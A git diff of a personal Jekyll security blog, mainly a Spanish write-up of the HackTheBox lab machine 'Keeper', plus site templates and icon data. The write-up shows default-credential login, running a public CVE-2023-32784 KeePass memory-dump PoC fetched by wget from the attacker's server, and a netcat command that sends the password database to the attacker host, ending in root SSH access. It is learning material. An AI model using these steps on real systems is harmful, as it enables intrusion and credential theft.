|
||||
---
|
||||
title: Keeper
|
||||
description: Keeper es una máquina de dificultad fácil en Linux que presenta un sistema de gestión de tickets de soporte con credenciales por defecto. Al enumerar el servicio, se pueden encontrar credenciales en texto claro que permiten el acceso a SSH. Con acceso a SSH, se puede obtener un volcado de la base de datos de KeePass, lo cual permite recuperar la contraseña maestra. Una vez con acceso a la base de datos de KeePass, se obtienen las claves SSH de root, que permiten obtener una shell con privilegios en el host.
|
||||
date: 2023-08-12
|
||||
toc: true
|
||||
pin: true
|
||||
image:
|
||||
path: /assets/img/htb-writeup-keeper/keeper_logo.png
|
||||
categories:
|
||||
- Machines
|
||||
tags:
|
||||
- htb
|
||||
- linux
|
||||
- osint
|
||||
- cve
|
||||
---
|
||||
## Information Gathering
|
||||
|
||||
```terminal
|
||||
/home/kali/Documents/htb/machines/keeper:-$ sudo nmap -sCV 10.10.11.227 -n -Pn -oN map1
|
||||
```
|
||||
|
||||

|
||||
|
||||
---
|
||||
## Web Analysis & Osint
|
||||
|
||||

|
||||
|
||||
```terminal
|
||||
/home/kali/Documents/htb/machines/keeper:-$ echo "10.10.11.227\tkeeper.htb\ttiquets.keeper.htb" | sudo tee -a /etc/hosts
|
||||
```
|
||||
|
||||

|
||||
|
||||
Busco las credenciales por defecto del servicio '4.4.4+dfsg-2ubuntu1'.
|
||||
|
||||
<https://docs.bestpractical.com/rt/4.4.4/security.html>
|
||||
>"Be sure to change the password for the 'root' user of RT. The default password is 'password'. This can be changed via the RT web interface at: Preferences > About me"
|
||||
|
||||

|
||||
|
||||
Encuentro 2 usuarios registrados en el sistema. Y en el usuario 'lnorgaard' encuentro la contraseña 'Welcome2023!'.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
```terminal
|
||||
/home/kali/Documents/htb/machines/keeper:-$ ssh lnorgaard@10.10.11.227
|
||||
lnorgaard@10.10.11.227's password: Welcome2023!
|
||||
lnorgaard@keeper:~$ ls
|
||||
RT30000.zip user.txt
|
||||
```
|
||||
---
|
||||
## Privilege Escalation & CVE Exploitation
|
||||
|
||||
```terminal
|
||||
lnorgaard@keeper:~$ unzip RT30000.zip
|
||||
Archive: RT30000.zip
|
||||
inflating: KeePassDumpFull.dmp
|
||||
extracting: passcodes.kdbx
|
||||
```
|
||||
|
||||
<https://nvd.nist.gov/vuln/detail/CVE-2023-32784>
|
||||
|
||||
El archivo 'KeePassDumpFull.dmp' es un volcado de memoria o 'dump' de un proceso de KeePass. La Vulnerabilidad CVE-2023-32784 permite recuperar la contraseña maestra en texto claro a partir de un volcado de memoria, incluso si la base de datos de KeePass está bloqueada o el proceso de KeePass ya no está en ejecución.
|
||||
|
||||
Existe un Proof of Concept en github precisamente para esto.
|
||||
Una vez clonado el PoC, monto un servidor para exportarlo a la maquina victima.
|
||||
|
||||
```terminal
|
||||
/home/kali/Documents/htb/machines/keeper:-$ sudo git clone https://github.com/CMEPW/keepass-dump-masterkey.git
|
||||
|
||||
/home/kali/Documents/htb/machines/keeper:-$ python3 -m http.server
|
||||
|
||||
lnorgaard@keeper:~$ wget http://10.10.15.26:8000/poc.py
|
||||
```
|
||||
|
||||
Al explotar el CVE, la primera letra de la contraseña no se recupera.
|
||||
|
||||
```terminal
|
||||
lnorgaard@keeper:~$ python3 poc.py -d KeePassDumpFull.dmp
|
||||
```
|
||||
|
||||

|
||||
|
||||
Realizo una busqueda del resultado '●,dgr●d med fl●d' y encuentro una palabra en danes que coincide 'rødgrød med fløde'.
|
||||
|
||||
Importo 'keepass.kdbx' con Netcat. E instalo Keepass para abrir el archivo anterior.
|
||||
|
||||
```terminal
|
||||
/home/kali/Documents/htb/machines/keeper:-$ nc -nlvp 1234 > keepass.kdbx
|
||||
listening on any 1234 ...
|
||||
|
||||
lnorgaard@keeper:~$ nc 10.10.15.26 1234 < passcodes.kdbx
|
||||
nc 10.10.15.26 1234 < passcodes.kdbx
|
||||
|
||||
... connect to [10.10.15.26] from (UNKNOWN) [10.10.11.227] 60582
|
||||
|
||||
/home/kali/Documents/htb/machines/keeper:-$ sudo apt install keepass2
|
||||
|
||||
/home/kali/Documents/htb/machines/keeper:-$ keepass2 keepass.kdbx
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Copio y guardo la clave 'PuTTY' en un archivo '.ppk'.
|
||||
|
||||
```terminal
|
||||
/home/kali/Documents/htb/machines/keeper:-$ echo 'PuTTY-User-Key-File-3.md: ssh-rsa Encrypt…' > key.ppk
|
||||
```
|
||||
Para conviertir la clave privada del archivo '.ppk' a un formato '.pem' que OpenSSH puede utilizar, descargo la herramienta Putty-Tools.
|
||||
|
||||
```terminal
|
||||
/home/kali/Documents/htb/machines/keeper:-$ sudo apt install putty-tools
|
||||
|
||||
/home/kali/Documents/htb/machines/keeper:-$ puttygen key.ppk -O private-openssh -o key.pem
|
||||
|
||||
/home/kali/Documents/htb/machines/keeper:-$ chmod 600 key.pem
|
||||
|
||||
/home/kali/Documents/htb/machines/keeper:-$ ssh -i key.pem root@10.10.11.227
|
||||
|
||||
root@keeper:~# cat root.txt
|
||||
```
|
@ -4,5 +4,8 @@ icon: fas fa-info-circle
|
||||
order: 4
|
||||
---
|
||||
|
||||
> Add Markdown syntax content to file `_tabs/about.md`{: .filepath } and it will show up on this page.
|
||||
> Un espacio personal diseñado para registrar y mostrar mi progreso en la resolución de desafíos de hacking y otros ejercicios de seguridad informática. Cada writeup es una reflexión sobre el proceso de resolución, las herramientas utilizadas y las lecciones aprendidas. Estos documentos están pensados para ofrecer una visión clara y útil de cómo he solucionado cada desafío, facilitando así el aprendizaje y la autoevaluación.
|
||||
{: .prompt-tip }
|
||||
|
||||
> A personal space designed to document and showcase my progress in solving hacking challenges and other cybersecurity exercises. Each writeup is a reflection on the problem-solving process, the tools used, and the lessons learned. These documents are intended to provide a clear and useful insight into how I have solved each challenge, thus facilitating learning and self-assessment.
|
||||
{: .prompt-tip }
|
||||
|
14
assets/404.html
Normal file
@ -0,0 +1,14 @@
|
||||
---
|
||||
layout: page
|
||||
title: "404: Page not found"
|
||||
permalink: /404.html
|
||||
|
||||
redirect_from:
|
||||
- /norobots/
|
||||
- /assets/
|
||||
- /posts/
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
<p class="lead">{{ site.data.locales[lang].not_found.statement }}</p>
|
10
assets/css/jekyll-theme-chirpy.scss
Normal file
@ -0,0 +1,10 @@
|
||||
---
|
||||
---
|
||||
|
||||
@import 'main
|
||||
{%- if jekyll.environment == 'production' -%}
|
||||
.bundle
|
||||
{%- endif -%}
|
||||
';
|
||||
|
||||
/* append your custom style below */
|
54
assets/feed.xml
Normal file
@ -0,0 +1,54 @@
|
||||
---
|
||||
layout: compress
|
||||
permalink: /feed.xml
|
||||
# Atom Feed, reference: https://validator.w3.org/feed/docs/atom.html
|
||||
---
|
||||
|
||||
{% capture source %}
|
||||
<feed xmlns="http://www.w3.org/2005/Atom">
|
||||
<id>{{ "/" | absolute_url }}</id>
|
||||
<title>{{ site.title }}</title>
|
||||
<subtitle>{{ site.description }}</subtitle>
|
||||
<updated>{{ site.time | date_to_xmlschema }}</updated>
|
||||
<author>
|
||||
<name>{{ site.social.name }}</name>
|
||||
<uri>{{ "/" | absolute_url }}</uri>
|
||||
</author>
|
||||
<link rel="self" type="application/atom+xml" href="{{ page.url | absolute_url }}"/>
|
||||
<link rel="alternate" type="text/html" hreflang="{{ site.alt_lang | default: site.lang }}"
|
||||
href="{{ '/' | absolute_url }}"/>
|
||||
<generator uri="https://jekyllrb.com/" version="{{ jekyll.version }}">Jekyll</generator>
|
||||
<rights> © {{ 'now' | date: '%Y' }} {{ site.social.name }} </rights>
|
||||
<icon>{{ site.baseurl }}/assets/img/favicons/favicon.ico</icon>
|
||||
<logo>{{ site.baseurl }}/assets/img/favicons/favicon-96x96.png</logo>
|
||||
|
||||
{% for post in site.posts limit: 5 %}
|
||||
{% assign post_absolute_url = post.url | absolute_url %}
|
||||
<entry>
|
||||
<title>{{ post.title }}</title>
|
||||
<link href="{{ post_absolute_url }}" rel="alternate" type="text/html" title="{{ post.title | xml_escape }}" />
|
||||
<published>{{ post.date | date_to_xmlschema }}</published>
|
||||
{% if post.last_modified_at %}
|
||||
<updated>{{ post.last_modified_at | date_to_xmlschema }}</updated>
|
||||
{% else %}
|
||||
<updated>{{ post.date | date_to_xmlschema }}</updated>
|
||||
{% endif %}
|
||||
<id>{{ post_absolute_url }}</id>
|
||||
<content src="{{ post_absolute_url }}" />
|
||||
<author>
|
||||
<name>{{ post.author | default: site.social.name }}</name>
|
||||
</author>
|
||||
|
||||
{% if post.categories %}
|
||||
{% for category in post.categories %}
|
||||
<category term="{{ category }}" />
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
|
||||
<summary>{% include post-description.html max_length=400 %}</summary>
|
||||
|
||||
</entry>
|
||||
{% endfor %}
|
||||
</feed>
|
||||
{% endcapture %}
|
||||
{{ source | replace: '&', '&' }}
|
BIN
assets/img/favicons/android-chrome-192x192.png
Normal file
After Width: | Height: | Size: 16 KiB |
BIN
assets/img/favicons/android-chrome-512x512.png
Normal file
After Width: | Height: | Size: 46 KiB |
BIN
assets/img/favicons/apple-touch-icon.png
Normal file
After Width: | Height: | Size: 14 KiB |
BIN
assets/img/favicons/favicon-16x16.png
Normal file
After Width: | Height: | Size: 821 B |
BIN
assets/img/favicons/favicon-32x32.png
Normal file
After Width: | Height: | Size: 1.6 KiB |
BIN
assets/img/favicons/favicon.ico
Normal file
After Width: | Height: | Size: 15 KiB |
BIN
assets/img/favicons/mstile-150x150.png
Normal file
After Width: | Height: | Size: 10 KiB |
236
assets/img/favicons/safari-pinned-tab.svg
Normal file
@ -0,0 +1,236 @@
|
||||
<?xml version="1.0" standalone="no"?>
|
||||
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 20010904//EN"
|
||||
"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd">
|
||||
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
|
||||
width="600.000000pt" height="600.000000pt" viewBox="0 0 600.000000 600.000000"
|
||||
preserveAspectRatio="xMidYMid meet">
|
||||
<metadata>
|
||||
Created by potrace 1.14, written by Peter Selinger 2001-2017
|
||||
</metadata>
|
||||
<g transform="translate(0.000000,600.000000) scale(0.100000,-0.100000)"
|
||||
fill="#000000" stroke="none">
|
||||
<path d="M2639 5666 c-2 -2 -38 -6 -79 -10 -76 -6 -201 -27 -275 -46 -22 -6
|
||||
-51 -13 -65 -16 -14 -2 -36 -9 -50 -14 -14 -5 -36 -12 -50 -14 -73 -14 -242
|
||||
-74 -294 -104 -20 -12 -39 -22 -42 -22 -3 0 -31 -12 -62 -26 -31 -15 -62 -27
|
||||
-68 -28 -5 -1 -20 -11 -33 -23 -13 -12 -35 -24 -49 -28 -14 -3 -38 -15 -53
|
||||
-26 -15 -10 -31 -19 -36 -19 -5 0 -16 -9 -26 -20 -9 -11 -24 -20 -32 -20 -8 0
|
||||
-15 -4 -15 -10 0 -5 -5 -10 -11 -10 -11 0 -149 -106 -161 -124 -4 -6 -8 -7 -8
|
||||
-3 0 9 -7 3 -90 -75 -33 -31 -60 -55 -60 -54 0 2 -47 -44 -105 -102 -58 -58
|
||||
-105 -108 -105 -112 0 -3 -20 -28 -45 -56 -40 -44 -70 -86 -167 -232 -15 -23
|
||||
-28 -49 -28 -57 0 -8 -3 -15 -8 -15 -7 0 -9 -3 -51 -83 -14 -26 -29 -47 -33
|
||||
-47 -4 0 -8 -6 -8 -12 0 -7 -13 -41 -30 -75 -16 -35 -32 -79 -36 -98 -3 -19
|
||||
-10 -33 -14 -30 -10 6 -30 -40 -30 -68 0 -13 -6 -29 -12 -35 -7 -7 -13 -16
|
||||
-13 -20 -1 -10 -35 -123 -45 -147 -5 -11 -11 -33 -15 -50 -3 -16 -10 -48 -16
|
||||
-70 -19 -73 -50 -249 -55 -310 -1 -22 -6 -62 -9 -90 -22 -176 -1 -558 41 -725
|
||||
4 -14 7 -35 8 -47 0 -13 4 -23 7 -23 4 0 10 -21 14 -47 4 -27 15 -73 25 -104
|
||||
11 -31 22 -71 25 -90 3 -19 10 -35 16 -37 5 -2 9 -15 9 -28 0 -13 5 -24 10
|
||||
-24 6 0 10 -8 10 -18 0 -10 6 -26 14 -37 15 -22 41 -96 38 -107 -1 -5 2 -8 7
|
||||
-8 5 0 11 -8 15 -17 25 -73 92 -192 112 -200 7 -2 11 -10 8 -17 -3 -7 6 -28
|
||||
20 -48 13 -20 22 -39 18 -42 -3 -3 -1 -6 5 -6 6 0 23 -21 39 -47 15 -27 39
|
||||
-62 53 -80 57 -71 76 -97 83 -115 4 -11 12 -17 17 -13 5 3 12 -4 16 -15 3 -11
|
||||
10 -20 15 -20 5 0 16 -12 24 -27 8 -16 15 -24 16 -20 0 4 22 -18 49 -50 53
|
||||
-64 121 -131 121 -120 0 3 22 -16 48 -43 27 -28 54 -50 61 -50 6 0 14 -7 17
|
||||
-15 4 -8 11 -15 16 -15 6 0 27 -14 47 -31 73 -61 83 -69 87 -69 8 0 89 -55 96
|
||||
-65 4 -5 11 -10 15 -10 4 -1 28 -12 53 -25 25 -13 48 -23 53 -22 4 1 7 -2 7
|
||||
-7 0 -6 21 -21 47 -34 27 -13 57 -28 68 -34 68 -36 172 -77 218 -87 15 -4 25
|
||||
-11 22 -16 -3 -6 -3 -10 2 -11 33 -3 168 -41 208 -59 46 -20 170 -50 208 -50
|
||||
14 0 37 -4 50 -9 14 -6 71 -15 127 -21 57 -6 119 -13 139 -16 49 -5 287 -5
|
||||
314 1 12 2 60 7 105 9 46 3 102 11 124 16 22 6 42 9 45 6 3 -3 14 -1 23 4 10
|
||||
5 35 12 56 15 22 4 49 8 61 10 12 2 51 10 85 19 35 8 76 17 91 20 16 3 34 9
|
||||
40 14 7 4 38 17 70 27 31 11 57 22 57 25 0 4 14 7 31 7 17 0 34 5 37 10 4 6
|
||||
27 19 52 28 49 19 132 57 140 65 8 8 69 41 75 40 3 0 15 6 28 15 55 38 127 83
|
||||
127 79 0 -2 9 5 21 17 11 11 36 27 55 35 19 8 34 19 34 24 0 6 12 16 28 22 15
|
||||
7 36 22 48 33 36 36 74 65 84 65 6 0 10 3 10 8 0 4 10 18 21 32 11 14 17 18
|
||||
13 10 -4 -8 45 38 109 102 65 64 117 114 117 110 0 -4 5 1 11 11 5 9 7 22 4
|
||||
27 -3 6 0 10 7 10 8 0 25 14 38 31 14 16 38 46 54 65 15 19 25 34 22 34 -3 0
|
||||
2 9 12 19 44 49 57 68 84 121 7 14 21 31 30 38 10 7 18 19 18 27 0 7 3 15 8
|
||||
17 4 2 18 25 32 51 14 27 33 57 43 68 10 10 14 19 10 19 -4 0 -2 5 5 12 7 7
|
||||
12 19 12 28 0 9 17 50 38 91 53 104 89 192 98 234 3 18 34 119 50 165 14 41
|
||||
32 124 38 176 4 36 16 44 69 44 57 0 195 26 212 40 5 4 13 9 18 9 4 0 21 8 37
|
||||
16 16 8 32 15 36 14 3 0 9 3 12 7 4 4 1 4 -5 0 -7 -4 -13 -5 -13 -2 0 3 16 12
|
||||
35 20 19 8 34 21 33 28 -2 7 3 12 10 10 7 -1 15 6 19 15 4 10 17 29 30 42 62
|
||||
63 102 222 81 321 -5 25 -9 51 -10 58 -1 6 -5 12 -10 12 -4 0 -8 7 -8 16 0 45
|
||||
-99 170 -126 160 -12 -5 -15 -2 -10 9 4 10 -4 21 -24 33 -16 9 -44 26 -62 36
|
||||
-18 11 -46 21 -63 24 -16 2 -38 8 -49 14 -11 6 -60 13 -108 16 -49 3 -91 8
|
||||
-93 12 -2 4 -7 30 -9 57 -3 27 -8 56 -10 64 -3 8 -8 25 -10 39 -11 55 -37 146
|
||||
-47 164 -6 10 -12 26 -14 35 -2 12 -20 76 -30 111 -1 3 -11 27 -23 53 -12 27
|
||||
-22 55 -22 63 0 8 -4 14 -9 14 -5 0 -12 14 -16 30 -4 17 -11 27 -16 24 -6 -3
|
||||
-9 0 -7 7 4 21 -40 115 -71 153 -7 9 -10 16 -7 16 4 0 -2 13 -13 29 -12 16
|
||||
-21 32 -21 37 0 4 -11 22 -25 40 -14 18 -25 37 -25 41 0 5 -13 24 -30 43 -16
|
||||
19 -29 41 -30 48 0 6 -3 12 -7 12 -5 0 -20 19 -35 43 -15 23 -41 55 -58 70
|
||||
-16 16 -30 33 -30 37 0 5 -10 20 -22 33 -13 14 -39 43 -58 65 -25 29 -38 37
|
||||
-47 30 -9 -7 -11 -4 -8 11 2 12 0 21 -6 21 -5 0 -9 7 -9 15 0 8 -5 15 -10 15
|
||||
-6 0 -28 17 -49 38 -53 53 -131 116 -147 120 -7 2 -16 12 -19 23 -4 11 -18 24
|
||||
-31 29 -13 5 -24 14 -24 20 0 5 -7 10 -15 10 -8 0 -15 4 -15 9 0 5 -11 12 -25
|
||||
15 -14 4 -24 11 -22 17 1 6 -6 13 -17 14 -10 2 -28 13 -40 24 -12 12 -26 21
|
||||
-30 21 -4 0 -22 11 -39 24 -29 22 -268 146 -292 152 -5 1 -37 15 -70 30 -33
|
||||
15 -65 28 -70 29 -32 7 -151 51 -156 58 -3 5 -9 8 -13 7 -6 -1 -30 3 -86 16
|
||||
-14 3 -33 7 -42 7 -9 1 -15 4 -12 7 5 5 -137 34 -226 46 -25 3 -63 9 -85 13
|
||||
-41 8 -508 14 -516 7z m431 -240 c52 -4 113 -11 135 -16 49 -10 150 -31 179
|
||||
-36 12 -2 50 -11 86 -19 36 -9 70 -17 75 -18 6 -2 17 -7 25 -12 8 -5 17 -10
|
||||
20 -10 24 -2 100 -29 100 -36 0 -5 6 -9 14 -9 7 0 31 -8 52 -17 22 -9 44 -18
|
||||
49 -19 14 -3 57 -22 75 -33 8 -6 28 -12 43 -16 15 -3 25 -10 22 -15 -3 -6 1
|
||||
-10 9 -10 19 0 59 -21 139 -73 32 -21 64 -34 70 -31 7 4 9 4 5 -1 -8 -8 28
|
||||
-45 44 -45 5 0 38 -25 75 -55 36 -30 71 -53 77 -52 6 1 10 -3 9 -10 -1 -6 12
|
||||
-22 30 -36 32 -24 86 -77 118 -114 8 -10 39 -40 67 -66 29 -26 58 -60 66 -75
|
||||
8 -15 26 -38 40 -51 14 -13 23 -28 19 -34 -3 -6 -2 -8 3 -5 5 2 20 -7 34 -20
|
||||
14 -14 18 -22 10 -18 -8 4 -7 1 3 -7 10 -9 17 -18 16 -22 -2 -8 58 -110 81
|
||||
-138 8 -10 14 -20 13 -22 -2 -3 6 -14 17 -25 12 -12 18 -25 15 -30 -4 -6 1
|
||||
-13 9 -16 9 -3 16 -10 16 -15 0 -5 18 -46 40 -91 22 -46 48 -107 58 -136 10
|
||||
-28 21 -50 23 -47 3 2 5 -4 6 -15 1 -11 8 -34 17 -52 8 -18 17 -47 19 -64 3
|
||||
-17 11 -42 18 -55 7 -13 14 -31 15 -39 10 -70 29 -152 36 -156 12 -8 10 -21
|
||||
-7 -37 -12 -13 -57 -15 -250 -16 -129 -1 -241 -4 -248 -7 -21 -8 -43 26 -62
|
||||
96 -9 36 -23 76 -30 90 -35 72 -50 104 -50 110 0 6 -18 46 -47 104 -6 10 -19
|
||||
35 -30 55 -12 20 -29 53 -40 73 -11 20 -26 42 -34 49 -8 6 -14 17 -14 25 0 7
|
||||
-16 30 -35 51 -19 21 -35 41 -35 45 0 7 -37 49 -127 145 -35 37 -63 71 -63 75
|
||||
0 5 -3 7 -7 5 -5 -3 -14 1 -21 9 -7 8 -9 14 -5 14 4 0 0 5 -10 11 -9 5 -22 7
|
||||
-29 3 -6 -4 -8 -3 -5 2 3 6 3 14 -1 19 -12 17 -89 74 -103 77 -8 2 -22 13 -32
|
||||
26 -10 12 -23 22 -29 22 -5 0 -28 14 -49 31 -21 17 -39 28 -39 25 0 -2 -30 13
|
||||
-67 35 -37 21 -73 39 -79 39 -7 0 -39 13 -71 29 -33 17 -82 35 -109 41 -27 6
|
||||
-60 17 -74 24 -14 8 -50 19 -80 25 -30 7 -69 17 -86 22 -16 5 -73 12 -125 15
|
||||
-89 6 -121 10 -126 14 -3 2 -15 6 -29 9 -4 0 -1 7 5 14 8 10 7 18 -2 31 -10
|
||||
14 -27 18 -73 18 -94 1 -93 1 -100 -37 -3 -19 -10 -35 -16 -35 -5 0 -7 -4 -4
|
||||
-9 3 -4 -13 -5 -37 0 -42 8 -102 1 -220 -27 -32 -8 -71 -14 -87 -14 -16 0 -31
|
||||
-4 -34 -9 -3 -4 -38 -16 -78 -26 -40 -9 -89 -25 -108 -35 -20 -10 -44 -20 -55
|
||||
-22 -11 -1 -27 -11 -36 -20 -9 -10 -24 -18 -32 -18 -22 0 -107 -41 -131 -62
|
||||
-10 -10 -22 -15 -27 -13 -4 3 -14 -1 -22 -9 -8 -9 -30 -24 -48 -34 -19 -11
|
||||
-33 -25 -32 -31 2 -6 -3 -10 -10 -8 -6 1 -11 -3 -10 -10 2 -8 -4 -10 -14 -6
|
||||
-12 5 -14 3 -8 -7 6 -10 4 -12 -9 -7 -10 4 -24 -1 -36 -13 -11 -11 -17 -20
|
||||
-13 -20 5 0 0 -5 -10 -11 -9 -6 -15 -14 -12 -20 3 -5 0 -6 -8 -3 -8 3 -39 -20
|
||||
-75 -54 -34 -33 -63 -57 -65 -55 -3 2 -11 -7 -20 -21 -9 -13 -32 -41 -52 -62
|
||||
-20 -22 -52 -64 -72 -94 -20 -30 -43 -59 -50 -63 -7 -5 -11 -12 -8 -18 4 -5 0
|
||||
-12 -8 -15 -8 -3 -22 -23 -32 -45 -10 -21 -22 -39 -27 -39 -4 0 -8 -6 -8 -14
|
||||
0 -7 -7 -19 -15 -26 -8 -7 -13 -16 -10 -20 3 -4 -2 -13 -9 -20 -14 -11 -32
|
||||
-66 -28 -82 1 -5 -2 -8 -6 -8 -9 0 -30 -40 -28 -50 0 -3 -7 -18 -17 -33 -9
|
||||
-15 -15 -27 -12 -27 3 0 -4 -24 -16 -52 -11 -29 -22 -62 -24 -73 -3 -11 -21
|
||||
-87 -40 -169 -30 -120 -34 -151 -23 -157 12 -8 1309 -11 3308 -8 1309 2 1248
|
||||
3 1306 -26 74 -36 95 -64 110 -149 3 -16 0 -50 -7 -75 -12 -45 -54 -112 -67
|
||||
-108 -4 1 -25 -9 -46 -22 l-39 -25 -566 -3 c-311 -2 -569 -7 -572 -11 -4 -4
|
||||
-12 -29 -18 -57 -12 -52 -39 -149 -49 -175 -3 -8 -6 -20 -7 -25 -6 -28 -68
|
||||
-172 -79 -185 -8 -8 -19 -32 -26 -52 -6 -21 -16 -38 -22 -38 -6 0 -8 -3 -5 -7
|
||||
4 -3 0 -15 -10 -25 -9 -10 -13 -18 -9 -18 4 0 -7 -20 -24 -44 -16 -25 -30 -49
|
||||
-30 -55 0 -6 -4 -11 -10 -11 -5 0 -23 -20 -38 -45 -16 -25 -32 -42 -37 -38 -4
|
||||
5 -5 2 -1 -5 5 -9 -24 -45 -88 -108 -53 -53 -96 -99 -96 -102 0 -7 -52 -41
|
||||
-82 -54 -10 -4 -18 -12 -18 -17 0 -5 -9 -13 -20 -16 -11 -4 -18 -10 -16 -14 3
|
||||
-4 0 -8 -7 -8 -17 0 -67 -33 -67 -45 0 -5 -4 -7 -10 -3 -5 3 -18 -3 -30 -15
|
||||
-11 -11 -20 -18 -20 -15 0 3 -35 -13 -77 -34 -43 -22 -91 -43 -108 -47 -16 -4
|
||||
-34 -10 -40 -14 -5 -5 -23 -10 -40 -13 -16 -3 -52 -13 -80 -21 -75 -24 -192
|
||||
-47 -265 -52 -36 -2 -85 -6 -109 -8 -77 -6 -309 15 -381 34 -19 5 -50 10 -67
|
||||
12 -18 1 -33 7 -33 12 0 5 -3 7 -6 3 -4 -3 -23 0 -43 8 -20 7 -45 16 -56 21
|
||||
-11 4 -29 9 -40 11 -10 2 -22 7 -25 12 -3 5 -25 15 -49 22 -58 17 -183 83
|
||||
-174 92 3 4 -1 7 -10 7 -8 0 -22 6 -29 12 -7 7 -52 39 -100 72 -48 32 -85 63
|
||||
-82 67 3 5 1 9 -5 9 -6 0 -35 25 -66 55 -31 30 -62 52 -67 48 -7 -4 -8 -1 -4
|
||||
6 5 7 0 18 -10 26 -11 8 -15 15 -11 15 8 0 -19 38 -56 80 -8 8 -24 29 -37 47
|
||||
-13 18 -28 29 -34 26 -6 -4 -4 2 4 12 8 10 10 16 5 13 -6 -4 -23 20 -39 53
|
||||
-15 32 -32 59 -37 59 -5 0 -9 4 -9 9 0 6 -18 49 -41 98 -22 48 -42 97 -44 108
|
||||
-5 37 -17 75 -24 75 -5 0 -14 33 -21 73 -7 39 -16 77 -20 82 -4 6 -10 33 -13
|
||||
60 -4 28 -9 60 -11 73 -3 13 -8 53 -11 90 -3 37 -8 80 -11 95 l-6 29 -82 -7
|
||||
c-44 -4 -89 -11 -98 -16 -9 -5 -23 -6 -31 -3 -19 7 -30 -25 -23 -68 3 -18 8
|
||||
-58 11 -88 7 -75 60 -317 73 -333 6 -7 13 -29 15 -48 2 -19 9 -44 16 -57 6
|
||||
-12 9 -22 5 -22 -3 0 3 -16 15 -36 12 -19 21 -42 21 -50 0 -8 5 -14 10 -14 6
|
||||
0 10 -8 10 -18 0 -9 8 -33 19 -52 10 -19 19 -39 21 -45 4 -17 20 -48 45 -90
|
||||
14 -22 35 -59 47 -82 12 -24 26 -43 30 -43 4 0 8 -6 8 -14 0 -7 19 -33 41 -57
|
||||
23 -24 38 -38 34 -30 -5 9 -4 12 3 7 6 -3 9 -15 7 -26 -2 -12 0 -18 6 -15 5 4
|
||||
9 1 9 -5 0 -6 16 -26 35 -46 19 -19 35 -39 35 -44 0 -6 4 -10 10 -10 13 0 79
|
||||
-67 72 -74 -3 -3 2 -6 11 -6 9 0 21 -9 27 -20 6 -11 18 -20 27 -20 9 0 14 -3
|
||||
10 -6 -10 -10 52 -56 65 -48 7 4 10 4 7 0 -9 -10 34 -52 74 -72 18 -9 36 -23
|
||||
40 -30 4 -8 15 -14 24 -14 8 0 41 -16 73 -35 32 -19 63 -35 69 -35 6 0 11 -4
|
||||
11 -10 0 -5 8 -10 19 -10 10 0 30 -9 44 -20 15 -12 29 -21 32 -21 5 0 25 -5
|
||||
53 -15 9 -4 24 -8 32 -9 8 -2 40 -13 70 -25 78 -30 103 -38 118 -33 7 3 19 0
|
||||
27 -7 8 -6 36 -12 62 -13 26 -1 54 -6 62 -11 14 -9 323 -28 344 -21 7 2 62 6
|
||||
122 9 61 3 125 10 143 15 18 5 35 10 37 10 3 0 15 3 28 6 12 3 31 7 42 9 11 1
|
||||
27 5 35 8 46 16 88 28 111 32 14 2 45 14 67 25 23 12 51 21 62 21 14 0 19 4
|
||||
14 12 -4 7 -3 8 5 4 6 -4 18 -3 25 3 22 18 168 91 182 91 8 0 14 5 14 10 0 6
|
||||
5 10 10 10 6 0 16 5 23 10 7 6 29 23 49 39 21 15 34 32 30 35 -4 4 -2 7 3 5
|
||||
18 -4 59 18 84 45 14 14 28 26 32 26 11 0 179 168 179 180 0 5 6 10 14 10 8 0
|
||||
17 9 21 19 3 11 12 22 20 25 8 3 15 12 15 19 0 8 10 25 23 39 13 14 43 56 67
|
||||
94 24 38 48 72 54 76 6 4 7 8 2 8 -4 0 3 15 16 33 13 17 37 59 52 92 15 33 34
|
||||
73 42 88 8 16 14 35 14 43 0 8 7 31 17 52 9 20 15 40 15 44 -1 5 2 8 7 8 10 0
|
||||
24 43 26 77 0 12 4 25 8 29 10 11 546 13 553 3 3 -5 -2 -34 -10 -63 -9 -30
|
||||
-17 -66 -18 -80 -1 -14 -6 -26 -10 -26 -4 0 -7 -3 -7 -7 1 -5 0 -11 -1 -15 -4
|
||||
-14 -6 -23 -15 -63 -4 -22 -21 -67 -36 -101 -16 -34 -29 -66 -29 -73 0 -6 -14
|
||||
-37 -30 -68 -17 -31 -30 -61 -30 -67 0 -14 -46 -105 -64 -125 -7 -9 -22 -34
|
||||
-31 -56 -10 -22 -29 -55 -42 -73 -13 -17 -21 -37 -17 -44 4 -7 3 -8 -5 -4 -6
|
||||
4 -14 -1 -19 -12 -8 -20 -43 -69 -79 -108 -13 -14 -23 -27 -23 -30 0 -3 -18
|
||||
-22 -40 -44 -22 -22 -40 -44 -40 -50 0 -6 -4 -8 -10 -5 -5 3 -10 2 -10 -4 0
|
||||
-6 -19 -29 -42 -52 -24 -23 -43 -47 -43 -53 -1 -6 -6 -10 -13 -9 -6 2 -19 -8
|
||||
-28 -22 -9 -14 -20 -25 -25 -25 -5 0 -38 -29 -73 -65 -35 -36 -69 -65 -75 -65
|
||||
-5 0 -18 -9 -28 -19 -25 -27 -214 -151 -230 -151 -7 0 -13 -4 -13 -10 0 -5 -6
|
||||
-10 -14 -10 -7 0 -19 -7 -26 -15 -7 -9 -15 -13 -18 -10 -3 3 -12 -1 -21 -9
|
||||
-25 -23 -132 -77 -141 -71 -4 3 -10 -2 -13 -10 -4 -8 -15 -12 -27 -10 -11 2
|
||||
-20 0 -20 -6 0 -5 -5 -9 -10 -9 -6 0 -29 -9 -53 -19 -23 -11 -53 -21 -67 -24
|
||||
-14 -2 -45 -12 -70 -20 -90 -32 -196 -60 -235 -63 -22 -2 -71 -8 -110 -13 -38
|
||||
-6 -99 -15 -135 -20 -64 -9 -442 -7 -457 2 -4 3 -30 8 -58 11 -92 10 -137 18
|
||||
-230 42 -11 2 -42 9 -68 14 -27 5 -54 13 -60 17 -13 8 -24 11 -79 20 -21 3
|
||||
-38 10 -38 14 0 5 -8 9 -17 9 -10 0 -40 11 -68 25 -27 13 -57 25 -66 25 -8 0
|
||||
-19 4 -25 9 -5 6 -61 35 -124 67 -63 31 -127 66 -141 77 -15 10 -32 16 -38 12
|
||||
